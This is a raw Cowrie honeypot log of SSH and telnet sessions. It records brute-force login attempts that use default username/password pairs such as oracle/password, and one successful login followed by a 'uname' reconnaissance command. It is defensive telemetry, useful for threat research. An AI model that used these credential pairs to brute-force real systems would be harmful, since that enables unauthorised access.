{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:27.754814Z","src_ip":"176.65.132.129","session":"51fd5adfcea7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.56416440010071,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:28.306637Z","src_ip":"152.42.224.71","session":"32a3b92d1152","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.88324451446533,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:29.458404Z","src_ip":"152.42.224.71","session":"c43598db44d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37484,"dst_ip":"10.17.0.5","dst_port":23,"session":"70779739dc38","protocol":"telnet","message":"New connection: 152.42.224.71:37484 (10.17.0.5:23) [session: 70779739dc38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:29.663524Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60932,"dst_ip":"159.203.135.109","dst_port":22,"session":"df51322de8bc","protocol":"ssh","message":"New connection: 176.65.132.129:60932 (159.203.135.109:22) [session: df51322de8bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:29.766238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:29.771481Z","src_ip":"176.65.132.129","session":"df51322de8bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:29.853471Z","src_ip":"176.65.132.129","session":"df51322de8bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:30.107046Z","src_ip":"176.65.132.129","session":"df51322de8bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:31.192940Z","src_ip":"176.65.132.129","session":"df51322de8bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.31887936592102,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:32.287163Z","src_ip":"152.42.224.71","session":"67ba67241cf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60942,"dst_ip":"159.203.135.109","dst_port":22,"session":"f40f7f87099c","protocol":"ssh","message":"New connection: 176.65.132.129:60942 (159.203.135.109:22) [session: f40f7f87099c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:33.036683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:33.045190Z","src_ip":"176.65.132.129","session":"f40f7f87099c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:33.129417Z","src_ip":"176.65.132.129","session":"f40f7f87099c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hamed","password":"hamed","message":"login attempt [hamed/hamed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:33.381012Z","src_ip":"176.65.132.129","session":"f40f7f87099c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:34.466990Z","src_ip":"176.65.132.129","session":"f40f7f87099c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37498,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e568fb96ef6","protocol":"telnet","message":"New connection: 152.42.224.71:37498 (10.17.0.5:23) [session: 7e568fb96ef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:35.747441Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33898,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d0e96b4a2fa","protocol":"ssh","message":"New connection: 176.65.132.129:33898 (159.203.135.109:22) [session: 4d0e96b4a2fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:36.271079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:36.275603Z","src_ip":"176.65.132.129","session":"4d0e96b4a2fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:36.357639Z","src_ip":"176.65.132.129","session":"4d0e96b4a2fa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:36.607320Z","src_ip":"176.65.132.129","session":"4d0e96b4a2fa","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:36.824139Z","src_ip":"176.65.132.129","session":"4d0e96b4a2fa","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:36.827921Z","src_ip":"176.65.132.129","session":"4d0e96b4a2fa","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:36.915307Z","src_ip":"176.65.132.129","session":"4d0e96b4a2fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:36.920547Z","src_ip":"176.65.132.129","session":"4d0e96b4a2fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50770,"dst_ip":"10.17.0.5","dst_port":23,"session":"e842c07a4f2c","protocol":"telnet","message":"New connection: 152.42.224.71:50770 (10.17.0.5:23) [session: e842c07a4f2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:37.437241Z"}
{"eventid":"cowrie.session.closed","duration":45.84763288497925,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:37.706783Z","src_ip":"152.42.224.71","session":"b41b09541987","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.166.167.154","src_port":40878,"dst_ip":"159.203.135.109","dst_port":22,"session":"d53fcffa15cc","protocol":"ssh","message":"New connection: 122.166.167.154:40878 (159.203.135.109:22) [session: d53fcffa15cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:38.534836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:38.539574Z","src_ip":"122.166.167.154","session":"d53fcffa15cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50786,"dst_ip":"10.17.0.5","dst_port":23,"session":"53ecc56bcad6","protocol":"telnet","message":"New connection: 152.42.224.71:50786 (10.17.0.5:23) [session: 53ecc56bcad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:38.602157Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:38.790817Z","src_ip":"122.166.167.154","session":"d53fcffa15cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50790,"dst_ip":"10.17.0.5","dst_port":23,"session":"63aa9603368a","protocol":"telnet","message":"New connection: 152.42.224.71:50790 (10.17.0.5:23) [session: 63aa9603368a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:38.856438Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33908,"dst_ip":"159.203.135.109","dst_port":22,"session":"00673679ef5c","protocol":"ssh","message":"New connection: 176.65.132.129:33908 (159.203.135.109:22) [session: 00673679ef5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:39.498636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:39.503005Z","src_ip":"176.65.132.129","session":"00673679ef5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:39.585062Z","src_ip":"176.65.132.129","session":"00673679ef5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"isar123","message":"login attempt [root/isar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:39.815217Z","src_ip":"122.166.167.154","session":"d53fcffa15cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:39.928684Z","src_ip":"176.65.132.129","session":"00673679ef5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:41.019871Z","src_ip":"176.65.132.129","session":"00673679ef5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":60936,"dst_ip":"10.17.0.5","dst_port":23,"session":"53ec931430eb","protocol":"telnet","message":"New connection: 213.108.3.46:60936 (10.17.0.5:23) [session: 53ec931430eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:41.032724Z"}
{"eventid":"cowrie.session.closed","duration":0.01779794692993164,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:41.050436Z","src_ip":"213.108.3.46","session":"53ec931430eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:41.069972Z","src_ip":"122.166.167.154","session":"d53fcffa15cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33910,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c70fbf1703d","protocol":"ssh","message":"New connection: 176.65.132.129:33910 (159.203.135.109:22) [session: 8c70fbf1703d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:42.937989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:42.942916Z","src_ip":"176.65.132.129","session":"8c70fbf1703d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:43.025402Z","src_ip":"176.65.132.129","session":"8c70fbf1703d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50804,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad60892e3f8c","protocol":"telnet","message":"New connection: 152.42.224.71:50804 (10.17.0.5:23) [session: ad60892e3f8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:43.207478Z"}
{"eventid":"cowrie.login.failed","username":"martin","password":"martin","message":"login attempt [martin/martin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:43.271997Z","src_ip":"176.65.132.129","session":"8c70fbf1703d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:44.357451Z","src_ip":"176.65.132.129","session":"8c70fbf1703d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37676,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc9be41158f4","protocol":"ssh","message":"New connection: 176.65.132.129:37676 (159.203.135.109:22) [session: bc9be41158f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:46.152479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:46.158725Z","src_ip":"176.65.132.129","session":"bc9be41158f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:46.246679Z","src_ip":"176.65.132.129","session":"bc9be41158f4","protocol":"ssh"}
